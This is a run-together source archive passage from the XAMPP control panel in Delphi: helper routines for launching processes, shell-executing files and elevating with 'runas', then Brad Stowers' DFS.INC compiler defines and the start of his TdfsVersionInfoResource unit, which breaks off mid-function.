FillChar(StartupInfo, SizeOf(StartupInfo), #0); StartupInfo.cb := SizeOf(StartupInfo); StartupInfo.dwFlags := STARTF_USESHOWWINDOW or STARTF_FORCEONFEEDBACK; StartupInfo.wShowWindow := ShowCmd; try try if not CreateProcess(nil, @FileName[1], nil, nil, false, CREATE_NEW_CONSOLE or NORMAL_PRIORITY_CLASS, nil, nil, StartupInfo, ProcessInfo) then GetExitCodeProcess(ProcessInfo.hProcess, Result) else begin if wait = false then begin if ProcID <> nil then ProcID^ := ProcessInfo.dwProcessId; GetExitCodeProcess(ProcessInfo.hProcess, Result); if Result = 259 then // No Information Return Code Result := 0; exit; end; WaitForSingleObject(ProcessInfo.hProcess, INFINITE); GetExitCodeProcess(ProcessInfo.hProcess, Result); end; except fMain.AddLog('Tools', Format('EXCEPTION: Problem launching process %s',[FileName]), ltError); end; finally if ProcessInfo.hProcess <> 0 then CloseHandle(ProcessInfo.hProcess); if ProcessInfo.hThread <> 0 then CloseHandle(ProcessInfo.hThread); if Result = 259 then // No Information Return Code Result := 0; end; end; function ExecuteFile(FileName, Params, DefaultDir: string; ShowCmd: integer): THandle; var zFileName, zParams, zDir: array [0 .. 255] of Char; begin if DefaultDir = '' then DefaultDir := BaseDir; try Result := ShellExecute(Application.MainForm.Handle, 'open', StrPCopy(zFileName, FileName), StrPCopy(zParams, Params), StrPCopy(zDir, DefaultDir), ShowCmd); except fMain.AddLog('Tools', Format('EXCEPTION: Problem executing file %s',[FileName]), ltError); Result := 0; end; end; function ShellExecute_AndWait(Operation, FileName, Parameter, Directory: string; Show: Word; bWait: Boolean): Longint; var bOK: Boolean; Info: TShellExecuteInfo; Ret: Cardinal; { ****** Parameters ****** Operation: edit Launches an editor and opens the document for editing. explore Explores the folder specified by lpFile. find Initiates a search starting from the specified directory. open Opens the file, folder specified by the lpFile parameter. print Prints the document file specified by lpFile. properties Displays the file or folder's properties. FileName: Specifies the name of the file or object on which ShellExecuteEx will perform the action specified by the lpVerb parameter. Parameter: String that contains the application parameters. The parameters must be separated by spaces. Directory: specifies the name of the working directory. If this member is not specified, the current directory is used as the working directory. Show: Flags that specify how an application is to be shown when it is opened. It can be one of the SW_ values bWait: If true, the function waits for the process to terminate } begin FillChar(Info, SizeOf(Info), Chr(0)); Info.cbSize := SizeOf(Info); Info.fMask := SEE_MASK_NOCLOSEPROCESS; Info.lpVerb := PChar(Operation); Info.lpFile := PChar(FileName); Info.lpParameters := PChar(Parameter); Info.lpDirectory := PChar(Directory); Info.nShow := Show; try bOK := Boolean(ShellExecuteEx(@Info)); if bOK then begin if bWait then begin repeat Ret := WaitForSingleObject(Info.hProcess, 500); Application.ProcessMessages; until ((Ret <> WAIT_TIMEOUT) or (Closing = True)); bOK := GetExitCodeProcess(Info.hProcess, DWORD(Result)); end else GetExitCodeProcess(Info.hProcess, DWORD(Result)); end; if not bOK then Result := -1; CloseHandle(Info.hProcess); except fMain.AddLog('Tools', Format('EXCEPTION: Problem shell executing %s',[FileName]), ltError); if Info.hProcess > 0 then CloseHandle(Info.hProcess); Result := -1; end; if (Closing = True) then Result := 0; end; function RunAsAdmin(FileName, parameters: string; ShowCmd: integer): Cardinal; var Info: TShellExecuteInfo; pInfo: PShellExecuteInfo; begin pInfo := @Info; with Info do begin cbSize := SizeOf(Info); fMask := SEE_MASK_NOCLOSEPROCESS; wnd := Application.Handle; // 6 = Vista or Higher if (WinVersion.Major<6) and IsWindowsAdmin then begin lpVerb := nil; end else begin lpVerb := PChar('runas'); end; lpFile := PChar(FileName); lpParameters := PChar(parameters + #0); lpDirectory := NIL; nShow := ShowCmd; hInstApp := 0; end; try if not ShellExecuteEx(pInfo) then begin Result := GetLastError; exit; end; { Wait to finish } repeat Result := WaitForSingleObject(Info.hProcess, 500); Application.ProcessMessages; until ((Result <> WAIT_TIMEOUT) or (Closing = True)); CloseHandle(Info.hProcess); except fMain.AddLog('Tools', Format('EXCEPTION: Problem running as admin %s',[FileName]), ltError); if Info.hProcess > 0 then CloseHandle(Info.hProcess); Result := 1; end; if (Closing = True) then Result := 0; end; function Cardinal2IP(C: Cardinal): string; begin Result := inttostr((C and $000000FF)) + '.' + inttostr((C and $0000FF00) shr 08) + '.' + inttostr((C and $00FF0000) shr 16) + '.' + inttostr((C and $FF000000) shr 24); end; function GetSystemLangShort: string; var bla: array [0 .. 1023] of Char; s: string; begin GetLocaleInfo(GetSystemDefaultLCID, LOCALE_SENGLANGUAGE, @bla, SizeOf(bla)); s := uppercase(bla); if s = 'GERMAN' then Result := 'de' else if s = 'ENGLISH' then Result := 'en' else if s = 'FRENCH' then Result := 'fr' else if s = 'ITALIAN' then Result := 'it' else Result := 'en'; end; { tConfig } constructor tConfig.Create; begin UserLogs.Apache := tStringList.Create; UserLogs.MySQL := tStringList.Create; UserLogs.FileZilla := tStringList.Create; UserLogs.Mercury := tStringList.Create; UserLogs.Tomcat := tStringList.Create; UserConfig.Apache := tStringList.Create; UserConfig.MySQL := tStringList.Create; UserConfig.FileZilla := tStringList.Create; UserConfig.Mercury := tStringList.Create; UserConfig.Tomcat := tStringList.Create; UserLogs.Apache.Delimiter := '|'; UserLogs.MySQL.Delimiter := '|'; UserLogs.FileZilla.Delimiter := '|'; UserLogs.Mercury.Delimiter := '|'; UserLogs.Tomcat.Delimiter := '|'; UserConfig.Apache.Delimiter := '|'; UserConfig.MySQL.Delimiter := '|'; UserConfig.FileZilla.Delimiter := '|'; UserConfig.Mercury.Delimiter := '|'; UserConfig.Tomcat.Delimiter := '|'; end; destructor tConfig.Destroy; begin FreeAndNil(UserLogs.Apache); FreeAndNil(UserLogs.MySQL); FreeAndNil(UserLogs.FileZilla); FreeAndNil(UserLogs.Mercury); FreeAndNil(UserLogs.Tomcat); FreeAndNil(UserConfig.Apache); FreeAndNil(UserConfig.MySQL); FreeAndNil(UserConfig.FileZilla); FreeAndNil(UserConfig.Mercury); FreeAndNil(UserConfig.Tomcat); inherited; end; initialization Config := tConfig.Create; Closing := False; appInfo := TJclFileVersionInfo.Create(Application.ExeName); GlobalProgramversion := appInfo.FileVersionMajor + '.' + appInfo.FileVersionMinor + '.' + appInfo.FileVersionRelease; appInfo.Free; finalization Config.Free; end. xampp-control-panel/VersInfo.pas000066600000125742151723641500012727 0ustar00(* **************************************************************************** *) (* Delphi Free Stuff Include File. This file is used for all my components *) (* to create some standard defines. This will help reduce headaches when new *) (* versions of Delphi and C++Builder are released, among other things. *) (* **************************************************************************** *) (* Brad Stowers: bstowers@pobox.com *) (* Delphi Free Stuff: http://www.delphifreestuff.com/ *) (* June 27, 2001 *) (* **************************************************************************** *) (* Usage: Add the following line to the top of your unit file: *) (* {$I DFS.INC} *) (* **************************************************************************** *) (* *) (* Complete Boolean Evaluation compiler directive is turned off by including *) (* this file. *) (* The $ObjExportAll directive is turned on if compiling with C++Builder 3 or *) (* higher. This is required for Delphi components built in Builder with *) (* run-time packages. *) (* *) (* Here is a brief explanation of what each of the defines mean: *) (* DELPHI_FREE_STUFF : Always defined when DFS.INC is included *) (* DFS_WIN16 : Compilation target is 16-bit Windows *) (* DFS_WIN32 : Compilation target is 32-bit Windows *) (* DFS_USEDEFSHLOBJ : The SHLOBJ.PAS version contains no none errors. *) (* Delphi 2.0x and C++Builder 1.0x shipped with a *) (* version of SHLOBJ.PAS that had many nasty errors. *) (* See my web site in the Hints section for how to fix *) (* DFS_NO_COM_CLEANUP : The version of the compiler being used does not *) (* require COM objects to be released; it is done *) (* automatically when they go "out of scope". *) (* DFS_NO_DSGNINTF : Delphi 6 pretty much kills off the DsgnIntf unit *) (* for good. Split into a couple of new units. *) (* DFS_DESIGNERSELECTIONS: IDesignerSelections replaced TDesignerSelectionList *) (* DFS_IPROPERTY : IProperty introduced for design-time stuff. *) (* DFS_COMPILER_1 : Delphi 1.0 is the compiler. Note that C++B 1.0 *) (* does NOT cause this to be defined. It is really *) (* the 2.0 compiler. *) (* DFS_COMPILER_1_UP : Delphi 1.0x or higher, or C++B 1.0x or higher is *) (* the compiler. *) (* DFS_COMPILER_2 : Delphi 2.0x or C++B 1.0x is the compiler. *) (* DFS_COMPILER_2_UP : Delphi 2.0x or higher, or C++B 1.0x or higher is *) (* the compiler. *) (* DFS_COMPILER_3 : Delphi 3.0x or C++B 3.0x is the compiler. *) (* DFS_COMPILER_3_UP : Delphi 3.0x or higher, or C++B 3.0x or higher is *) (* the compiler. *) (* DFS_COMPILER_4 : Delphi 4.0x or C++B 4.0x is the compiler. *) (* DFS_COMPILER_4_UP : Delphi 4.0x or higher, or C++B 4.0x or higher is *) (* the compiler. *) (* DFS_COMPILER_5 : Delphi 5.0x or C++B 5.0x is the compiler. *) (* DFS_COMPILER_5_UP : Delphi 5.0x or higher, or C++B 5.0x or higher is *) (* the compiler. *) (* DFS_COMPILER_6 : Delphi 6.0x or C++B 6.0x is the compiler. *) (* DFS_COMPILER_6_UP : Delphi 6.0x or higher, or C++B 6.0x or higher is *) (* the compiler. *) (* DFS_UNKNOWN_COMPILER : No sense could be made of the compiliation *) (* environment. *) (* DFS_CPPB : Any version of C++B is being used. *) (* DFS_CPPB_1 : C++B v1.0x is being used. *) (* DFS_CPPB_3 : C++B v3.0x is being used. *) (* DFS_CPPB_3_UP : C++B v3.0x or higher is being used. *) (* DFS_CPPB_4 : C++B v4.0x is being used. *) (* DFS_CPPB_4_UP : C++B v4.0x or higher is being used. *) (* DFS_CPPB_5 : C++B v5.0x is being used. *) (* DFS_CPPB_5_UP : C++B v5.0x or higher is being used. *) (* DFS_DELPHI : Any version of Delphi is being used. *) (* DFS_DELPHI_1 : Delphi v1.0x is being used. *) (* DFS_DELPHI_2 : Delphi v2.0x is being used. *) (* DFS_DELPHI_2_UP : Delphi v2.0x or higher is being used. *) (* DFS_DELPHI_3 : Delphi v3.0x is being used. *) (* DFS_DELPHI_3_UP : Delphi v3.0x or higher is being used. *) (* DFS_DELPHI_4 : Delphi v4.0x is being used. *) (* DFS_DELPHI_4_UP : Delphi v4.0x or higher is being used. *) (* DFS_DELPHI_5 : Delphi v5.0x is being used. *) (* DFS_DELPHI_5_UP : Delphi v5.0x or higher is being used. *) (* DFS_DELPHI_6 : Delphi v6.0x is being used. *) (* DFS_DELPHI_6_UP : Delphi v6.0x or higher is being used. *) (* **************************************************************************** *) { All DFS components rely on complete boolean eval compiler directive set off. } {$B-} {$DEFINE DELPHI_FREE_STUFF} {$IFDEF WIN32} {$DEFINE DFS_WIN32} {$ELSE} {$DEFINE DFS_WIN16} {$ENDIF} {$IFDEF VER140} {$DEFINE DFS_COMPILER_6} {$DEFINE DFS_DELPHI} {$DEFINE DFS_DELPHI_6} {$ENDIF} {$IFDEF VER130} {$DEFINE DFS_COMPILER_5} {$IFDEF BCB} {$DEFINE DFS_CPPB} {$DEFINE DFS_CPPB_5} {$ELSE} {$DEFINE DFS_DELPHI} {$DEFINE DFS_DELPHI_5} {$ENDIF} {$ENDIF} {$IFDEF VER125} {$DEFINE DFS_COMPILER_4} {$DEFINE DFS_CPPB} {$DEFINE DFS_CPPB_4} {$ENDIF} {$IFDEF VER120} {$DEFINE DFS_COMPILER_4} {$DEFINE DFS_DELPHI} {$DEFINE DFS_DELPHI_4} {$ENDIF} {$IFDEF VER110} {$DEFINE DFS_COMPILER_3} {$DEFINE DFS_CPPB} {$DEFINE DFS_CPPB_3} {$ENDIF} {$IFDEF VER100} {$DEFINE DFS_COMPILER_3} {$DEFINE DFS_DELPHI} {$DEFINE DFS_DELPHI_3} {$ENDIF} {$IFDEF VER93} {$DEFINE DFS_COMPILER_2} { C++B v1 compiler is really v2 } {$DEFINE DFS_CPPB} {$DEFINE DFS_CPPB_1} { .$DEFINE DFS_USEDEFSHLOBJ } { C++B 1 has the correct SHLOBJ.H, but SHLOBJ.PAS has errors so this isn't defined } {$ENDIF} {$IFDEF VER90} {$DEFINE DFS_COMPILER_2} {$DEFINE DFS_DELPHI} {$DEFINE DFS_DELPHI_2} {$ENDIF} {$IFDEF VER80} {$DEFINE DFS_COMPILER_1} {$DEFINE DFS_DELPHI} {$DEFINE DFS_DELPHI_1} {$ENDIF} {$IFNDEF DFS_CPPB} {$IFNDEF DFS_DELPHI} { Don't know what the hell it is. Could be new version, or could be old BP. } {$DEFINE DFS_UNKNOWN_COMPILER} {$ENDIF} {$ENDIF} {$IFDEF DFS_COMPILER_1} {$DEFINE DFS_COMPILER_1_UP} {$ENDIF} {$IFDEF DFS_COMPILER_2} {$DEFINE DFS_COMPILER_1_UP} {$DEFINE DFS_COMPILER_2_UP} {$ENDIF} {$IFDEF DFS_COMPILER_3} {$DEFINE DFS_COMPILER_1_UP} {$DEFINE DFS_COMPILER_2_UP} {$DEFINE DFS_COMPILER_3_UP} {$ENDIF} {$IFDEF DFS_COMPILER_4} {$DEFINE DFS_COMPILER_1_UP} {$DEFINE DFS_COMPILER_2_UP} {$DEFINE DFS_COMPILER_3_UP} {$DEFINE DFS_COMPILER_4_UP} {$ENDIF} {$IFDEF DFS_COMPILER_5} {$DEFINE DFS_COMPILER_1_UP} {$DEFINE DFS_COMPILER_2_UP} {$DEFINE DFS_COMPILER_3_UP} {$DEFINE DFS_COMPILER_4_UP} {$DEFINE DFS_COMPILER_5_UP} {$ENDIF} {$IFDEF DFS_COMPILER_6} {$DEFINE DFS_COMPILER_1_UP} {$DEFINE DFS_COMPILER_2_UP} {$DEFINE DFS_COMPILER_3_UP} {$DEFINE DFS_COMPILER_4_UP} {$DEFINE DFS_COMPILER_5_UP} {$DEFINE DFS_COMPILER_6_UP} {$ENDIF} {$IFDEF DFS_DELPHI_2} {$DEFINE DFS_DELPHI_2_UP} {$ENDIF} {$IFDEF DFS_DELPHI_3} {$DEFINE DFS_DELPHI_2_UP} {$DEFINE DFS_DELPHI_3_UP} {$ENDIF} {$IFDEF DFS_DELPHI_4} {$DEFINE DFS_DELPHI_2_UP} {$DEFINE DFS_DELPHI_3_UP} {$DEFINE DFS_DELPHI_4_UP} {$ENDIF} {$IFDEF DFS_DELPHI_5} {$DEFINE DFS_DELPHI_2_UP} {$DEFINE DFS_DELPHI_3_UP} {$DEFINE DFS_DELPHI_4_UP} {$DEFINE DFS_DELPHI_5_UP} {$ENDIF} {$IFDEF DFS_DELPHI_6} {$DEFINE DFS_DELPHI_2_UP} {$DEFINE DFS_DELPHI_3_UP} {$DEFINE DFS_DELPHI_4_UP} {$DEFINE DFS_DELPHI_5_UP} {$DEFINE DFS_DELPHI_6_UP} {$ENDIF} {$IFDEF DFS_CPPB_3} {$DEFINE DFS_CPPB_3_UP} {$ENDIF} {$IFDEF DFS_CPPB_4} {$DEFINE DFS_CPPB_3_UP} {$DEFINE DFS_CPPB_4_UP} {$ENDIF} {$IFDEF DFS_CPPB_5} {$DEFINE DFS_CPPB_3_UP} {$DEFINE DFS_CPPB_4_UP} {$DEFINE DFS_CPPB_5_UP} {$ENDIF} {$IFDEF DFS_COMPILER_3_UP} {$DEFINE DFS_NO_COM_CLEANUP} {$DEFINE DFS_USEDEFSHLOBJ} { Only D3+ and C++B 3+ have no errors in SHLOBJ } {$ENDIF} {$IFDEF DFS_CPPB_3_UP} // C++Builder requires this if you use Delphi components in run-time packages. {$OBJEXPORTALL On} {$ENDIF} {$IFDEF DFS_COMPILER_6_UP} // Delphi 6 pretty much kills off the DsgnIntf unit for good. {$DEFINE DFS_NO_DSGNINTF} {$DEFINE DFS_DESIGNERSELECTIONS} {$DEFINE DFS_IPROPERTY} {$ENDIF} { ------------------------------------------------------------------------------ } { TdfsVersionInfoResource v2.36 } { ------------------------------------------------------------------------------ } { A component to read version info resources. It is intended for Delphi 3, } { but should work with any file that contains a properly formatted resource. } { } { Copyright 2000-2001, Brad Stowers. All Rights Reserved. } { } { Copyright: } { All Delphi Free Stuff (hereafter "DFS") source code is copyrighted by } { Bradley D. Stowers (hereafter "author"), and shall remain the exclusive } { property of the author. } { } { Distribution Rights: } { You are granted a non-exlusive, royalty-free right to produce and distribute } { compiled binary files (executables, DLLs, etc.) that are built with any of } { the DFS source code unless specifically stated otherwise. } { You are further granted permission to redistribute any of the DFS source } { code in source code form, provided that the original archive as found on the } { DFS web site (http://www.delphifreestuff.com) is distributed unmodified. For } { example, if you create a descendant of TDFSColorButton, you must include in } { the distribution package the colorbtn.zip file in the exact form that you } { downloaded it from http://www.delphifreestuff.com/mine/files/colorbtn.zip. } { } { Restrictions: } { Without the express written consent of the author, you may not: } { * Distribute modified versions of any DFS source code by itself. You must } { include the original archive as you found it at the DFS site. } { * Sell or lease any portion of DFS source code. You are, of course, free } { to sell any of your own original code that works with, enhances, etc. } { DFS source code. } { * Distribute DFS source code for profit. } { } { Warranty: } { There is absolutely no warranty of any kind whatsoever with any of the DFS } { source code (hereafter "software"). The software is provided to you "AS-IS", } { and all risks and losses associated with it's use are assumed by you. In no } { event shall the author of the softare, Bradley D. Stowers, be held } { accountable for any damages or losses that may occur from use or misuse of } { the software. } { } { Support: } { Support is provided via the DFS Support Forum, which is a web-based message } { system. You can find it at http://www.delphifreestuff.com/discus/ } { All DFS source code is provided free of charge. As such, I can not guarantee } { any support whatsoever. While I do try to answer all questions that I } { receive, and address all problems that are reported to me, you must } { understand that I simply can not guarantee that this will always be so. } { } { Clarifications: } { If you need any further information, please feel free to contact me directly. } { This agreement can be found online at my site in the "Miscellaneous" section. } { ------------------------------------------------------------------------------ } { The lateset version of my components are always available on the web at: } { http://www.delphifreestuff.com/ } { See VersInfo.txt for notes, known issues, and revision history. } { ------------------------------------------------------------------------------ } { Date last modified: June 28, 2001 } { ------------------------------------------------------------------------------ } {$DEFINE DFS_VERSION_INFO_AS_CLASS} {$M+} unit VersInfo; interface uses {$IFDEF DFS_VERSION_INFO_AS_CLASS} {$IFDEF DFS_WIN32} Windows, {$ELSE} WinTypes, WinProcs, Ver, {$ENDIF} Classes, SysUtils; { I really hate Forms } {$ELSE} {$IFDEF DFS_WIN32} Windows, ComCtrls, {$ELSE} WinTypes, WinProcs, Ver, Grids, {$ENDIF} Messages, SysUtils, Classes, Graphics, Forms, StdCtrls; {$ENDIF} const { This shuts up C++Builder 3 about the redefiniton being different. There seems to be no equivalent in C1. Sorry. } {$IFDEF DFS_CPPB_3_UP} {$EXTERNALSYM DFS_COMPONENT_VERSION} {$ENDIF} DFS_COMPONENT_VERSION = 'TdfsVersionInfoResource v2.36'; DEFAULT_LANG_ID = $0409; DEFAULT_CHAR_SET_ID = $04E4; DEFAULT_LANG_CHAR_SET = '040904E4'; {$IFDEF DFS_COMPILER_3_UP} resourcestring {$ELSE} const {$ENDIF} SFlagDebug = 'Debug'; SFlagInfoInferred = 'Info Inferred'; SFlagPatched = 'Patched'; SFlagPreRelease = 'Pre-Release'; SFlagPrivate = 'Private'; SFlagSpecial = 'Special'; SHeaderResource = 'Resource'; SHeaderValue = 'Value'; { Predefined resource item captions. } SResCapCompanyName = 'Company Name'; SResCapFileDescription = 'File Description'; SResCapFileVersion = 'File Version'; SResCapInternalName = 'Internal Name'; SResCapLegalCopyright = 'Legal Copyright'; SResCapLegalTrademarks = 'Legal Trademarks'; SResCapOriginalFilename = 'Original Filename'; SResCapProductName = 'Product Name'; SResCapProductVersion = 'Product Version'; SResCapComments = 'Comments'; SResCapBuildFlags = 'Build Flags'; { set values to choose which resources are seen in the grid/listview } type TPreDef = (pdCompanyName, pdFileDescription, pdFileVersion, pdInternalName, pdLegalCopyright, pdLegalTrademarks, pdOriginalFilename, pdProductName, pdProductVersion, pdComments, pdBuildFlags); TPreDefs = set of TPreDef; { but to index properties we need integers } const IDX_COMPANYNAME = ord(pdCompanyName); IDX_FILEDESCRIPTION = ord(pdFileDescription); IDX_FILEVERSION = ord(pdFileVersion); IDX_INTERNALNAME = ord(pdInternalName); IDX_LEGALCOPYRIGHT = ord(pdLegalCopyright); IDX_LEGALTRADEMARKS = ord(pdLegalTrademarks); IDX_ORIGINALFILENAME = ord(pdOriginalFilename); IDX_PRODUCTNAME = ord(pdProductName); IDX_PRODUCTVERSION = ord(pdProductVersion); IDX_COMMENTS = ord(pdComments); IDX_BUILDFLAGS = ord(pdBuildFlags); const IDX_VER_MAJOR = 0; IDX_VER_MINOR = 1; IDX_VER_RELEASE = 2; IDX_VER_BUILD = 3; type {$IFNDEF DFS_WIN32} PVSFixedFileInfo = PVS_FixedFileInfo; DWORD = longint; UINT = word; {$ENDIF} TFixedFileInfoFlag = (ffDebug, ffInfoInferred, ffPatched, ffPreRelease, ffPrivateBuild, ffSpecialBuild); TFixedFileInfoFlags = set of TFixedFileInfoFlag; TVersionOperatingSystemFlag = (vosUnknown, vosDOS, vosOS2_16, vosOS2_32, vosNT, vosWindows16, vosPresentationManager16, vosPresentationManager32, vosWindows32); { This is supposed to be one of the first line, and one of the second line. } TVersionOperatingSystemFlags = set of TVersionOperatingSystemFlag; TVersionFileType = (vftUnknown, vftApplication, vftDLL, vftDriver, vftFont, vftVXD, vftStaticLib); TdfsVersionInfoResource = class; { forward declaration } TFixedFileVersionInfo = class private FParent: TdfsVersionInfoResource; FData: PVSFixedFileInfo; function GetSignature: DWORD; function GetStructureVersion: DWORD; function GetFileVersionMS: DWORD; function GetFileVersionLS: DWORD; function GetProductVersionMS: DWORD; function GetProductVersionLS: DWORD; function GetValidFlags: TFixedFileInfoFlags; function GetFlags: TFixedFileInfoFlags; function GetFileOperatingSystem: TVersionOperatingSystemFlags; function GetFileType: TVersionFileType; function GetFileSubType: DWORD; function GetCreationDate: TDateTime; public constructor Create(AParent: TdfsVersionInfoResource); property Parent: TdfsVersionInfoResource read FParent write FParent; property Data: PVSFixedFileInfo read FData write FData; property Signature: DWORD read GetSignature; property StructureVersion: DWORD read GetStructureVersion; property FileVersionMS: DWORD read GetFileVersionMS; property FileVersionLS: DWORD read GetFileVersionLS; property ProductVersionMS: DWORD read GetProductVersionMS; property ProductVersionLS: DWORD read GetProductVersionLS; property ValidFlags: TFixedFileInfoFlags read GetValidFlags; property Flags: TFixedFileInfoFlags read GetFlags; property FileOperatingSystem: TVersionOperatingSystemFlags read GetFileOperatingSystem; property FileType: TVersionFileType read GetFileType; property FileSubType: DWORD read GetFileSubType; property CreationDate: TDateTime read GetCreationDate; end; TVersionNumberInformation = class private FValid: boolean; FMostSignificant: DWORD; FLeastSignificant: DWORD; FVersionNumberString: string; function GetVersionNumber(Index: integer): word; function GetVersionNumberString: string; public constructor Create(MSVer, LSVer: DWORD); property Valid: boolean read FValid write FValid; property Major: word index IDX_VER_MAJOR read GetVersionNumber; property Minor: word index IDX_VER_MINOR read GetVersionNumber; property Release: word index IDX_VER_RELEASE read GetVersionNumber; property Build: word index IDX_VER_BUILD read GetVersionNumber; property AsString: string read GetVersionNumberString; end; {$IFDEF DFS_DELPHI_1} TVersionFilename = string; {$ELSE} TVersionFilename = type string; {$ENDIF} TdfsVersionInfoResource = class{$IFNDEF DFS_VERSION_INFO_AS_CLASS}(TComponent){$ENDIF} private FVersionInfo: PChar; FVersionInfoSize: DWORD; FFilename: TVersionFilename; FTranslationIDs: TStringList; FTranslationIDIndex: integer; FFixedInfo: TFixedFileVersionInfo; FForceEXE: boolean; FFileVersion: TVersionNumberInformation; FProductVersion: TVersionNumberInformation; {$IFNDEF DFS_VERSION_INFO_AS_CLASS} FFileVersionLabel: TLabel; FCopyrightLabel: TLabel; {$IFDEF DFS_WIN32} FVersionListView: TListView; {$ELSE} FVersionGrid: TStringGrid; {$ENDIF} FDescriptionLabel: TLabel; FProductLabel: TLabel; FShowResource: TPreDefs; {$ENDIF} protected procedure SetFilename(const Val: TVersionFilename); procedure SetTranslationIDIndex(Val: integer); function GetTranslationIDs: TStrings; procedure SetForceEXE(Val: boolean); {$IFNDEF DFS_VERSION_INFO_AS_CLASS} {$IFDEF DFS_WIN32} procedure SetVersionListView(Value: TListView); {$ELSE} procedure SetVersionGrid(Value: TStringGrid); {$ENDIF} procedure SetShowResource(Value: TPreDefs); procedure SetFileVersionLabel(Value: TLabel); procedure SetCopyrightLabel(Value: TLabel); procedure SetProductLabel(Value: TLabel); procedure SetDescriptionLabel(Value: TLabel); function GetVersion: string; procedure SetVersion(const Val: string); {$ENDIF} function GetResourceFilename: string; virtual; {$IFNDEF DFS_VERSION_INFO_AS_CLASS} procedure PopulateControls; virtual; {$IFDEF DFS_WIN32} procedure BuildListView; virtual; {$ELSE} procedure BuildGrid; virtual; {$ENDIF} procedure Notification(AComponent: TComponent; Operation: TOperation); override; procedure Loaded; override; {$ENDIF} function BuildFlags: string; virtual; procedure ReadVersionInfoData; virtual; function GetVersionInfoString(Index: integer): string; function GetResourceStr(Index: string): string; public {$IFDEF DFS_VERSION_INFO_AS_CLASS} constructor Create; virtual; {$ELSE} constructor Create(AOwner: TComponent); override; {$ENDIF} destructor Destroy; override; property TranslationIDIndex: integer read FTranslationIDIndex write SetTranslationIDIndex; property TranslationIDs: TStrings read GetTranslationIDs; property FixedInfo: TFixedFileVersionInfo read FFixedInfo; property UserResource[Index: string]: string read GetResourceStr; property FileVersion: TVersionNumberInformation read FFileVersion; property ProductVersion: TVersionNumberInformation read FProductVersion; published {$IFNDEF DFS_VERSION_INFO_AS_CLASS} property Version: string read GetVersion write SetVersion stored FALSE; {$ENDIF} property Filename: TVersionFilename read FFilename write SetFilename; property ForceEXE: boolean read FForceEXE write SetForceEXE default FALSE; property CompanyName: string index IDX_COMPANYNAME read GetVersionInfoString; property FileDescription: string index IDX_FILEDESCRIPTION read GetVersionInfoString; property InternalName: string index IDX_INTERNALNAME read GetVersionInfoString; property LegalCopyright: string index IDX_LEGALCOPYRIGHT read GetVersionInfoString; property LegalTrademarks: string index IDX_LEGALTRADEMARKS read GetVersionInfoString; property OriginalFilename: string index IDX_ORIGINALFILENAME read GetVersionInfoString; property ProductName: string index IDX_PRODUCTNAME read GetVersionInfoString; property Comments: string index IDX_COMMENTS read GetVersionInfoString; {$IFNDEF DFS_VERSION_INFO_AS_CLASS} property VersionLabel: TLabel read FFileVersionLabel write SetFileVersionLabel; {$IFDEF DFS_WIN32} property VersionListView: TListView read FVersionListView write SetVersionListView; {$ELSE} property VersionGrid: TStringGrid read FVersionGrid write SetVersionGrid; {$ENDIF} property DescriptionLabel: TLabel read FDescriptionLabel write SetDescriptionLabel; property CopyrightLabel: TLabel read FCopyrightLabel write SetCopyrightLabel; property ProductLabel: TLabel read FProductLabel write SetProductLabel; property ShowResource: TPreDefs read FShowResource write SetShowResource; {$ENDIF} end; implementation const PREDEF_RESOURCES: array [IDX_COMPANYNAME .. IDX_BUILDFLAGS] of string = ('CompanyName', 'FileDescription', 'FileVersion', 'InternalName', 'LegalCopyright', 'LegalTrademarks', 'OriginalFilename', 'ProductName', 'ProductVersion', 'Comments', 'BuildFlags'); PREDEF_CAPTIONS: array [IDX_COMPANYNAME .. IDX_BUILDFLAGS] of string = (SResCapCompanyName, SResCapFileDescription, SResCapFileVersion, SResCapInternalName, SResCapLegalCopyright, SResCapLegalTrademarks, SResCapOriginalFilename, SResCapProductName, SResCapProductVersion, SResCapComments, SResCapBuildFlags); {$IFDEF DFS_DELPHI_2} {$DEFINE ST2DT_UNDEF} {$ENDIF} {$IFDEF DFS_CPPB_1} {$DEFINE ST2DT_UNDEF} {$ENDIF} {$IFDEF ST2DT_UNDEF} function SystemTimeToDateTime(const SystemTime: TSystemTime): TDateTime; begin with SystemTime do Result := EncodeDate(wYear, wMonth, wDay) + EncodeTime(wHour, wMinute, wSecond, wMilliSeconds); end; {$ENDIF} {$IFNDEF DFS_WIN32} function IsLibrary: boolean; begin Result := PrefixSeg = 0; end; {$ENDIF} constructor TFixedFileVersionInfo.Create(AParent: TdfsVersionInfoResource); begin inherited Create; FParent := AParent; end; function TFixedFileVersionInfo.GetSignature: DWORD; begin if FData = nil then Result := 0 else Result := FData^.dwSignature; end; function TFixedFileVersionInfo.GetStructureVersion: DWORD; begin if FData = nil then Result := 0 else Result := FData^.dwStrucVersion; end; function TFixedFileVersionInfo.GetFileVersionMS: DWORD; begin if FData = nil then Result := 0 else Result := FData^.dwFileVersionMS; end; function TFixedFileVersionInfo.GetFileVersionLS: DWORD; begin if FData = nil then Result := 0 else Result := FData^.dwFileVersionLS; end; function TFixedFileVersionInfo.GetProductVersionMS: DWORD; begin if FData = nil then Result := 0 else Result := FData^.dwProductVersionMS; end; function TFixedFileVersionInfo.GetProductVersionLS: DWORD; begin if FData = nil then Result := 0 else Result := FData^.dwProductVersionLS; end; function TFixedFileVersionInfo.GetValidFlags: TFixedFileInfoFlags; begin Result := []; if FData <> nil then begin if (FData^.dwFileFlagsMask and VS_FF_DEBUG) <> 0 then Include(Result, ffDebug); if (FData^.dwFileFlagsMask and VS_FF_PRERELEASE) <> 0 then Include(Result, ffPreRelease); if (FData^.dwFileFlagsMask and VS_FF_PATCHED) <> 0 then Include(Result, ffPatched); if (FData^.dwFileFlagsMask and VS_FF_PRIVATEBUILD) <> 0 then Include(Result, ffPrivateBuild); if (FData^.dwFileFlagsMask and VS_FF_INFOINFERRED) <> 0 then Include(Result, ffInfoInferred); if (FData^.dwFileFlagsMask and VS_FF_SPECIALBUILD) <> 0 then Include(Result, ffSpecialBuild); end; end; function TFixedFileVersionInfo.GetFlags: TFixedFileInfoFlags; begin Result := []; if FData <> nil then begin if (FData^.dwFileFlags and VS_FF_DEBUG) <> 0 then Include(Result, ffDebug); if (FData^.dwFileFlags and VS_FF_PRERELEASE) <> 0 then Include(Result, ffPreRelease); if (FData^.dwFileFlags and VS_FF_PATCHED) <> 0 then Include(Result, ffPatched); if (FData^.dwFileFlags and VS_FF_PRIVATEBUILD) <> 0 then Include(Result, ffPrivateBuild); if (FData^.dwFileFlags and VS_FF_INFOINFERRED) <> 0 then Include(Result, ffInfoInferred); if (FData^.dwFileFlags and 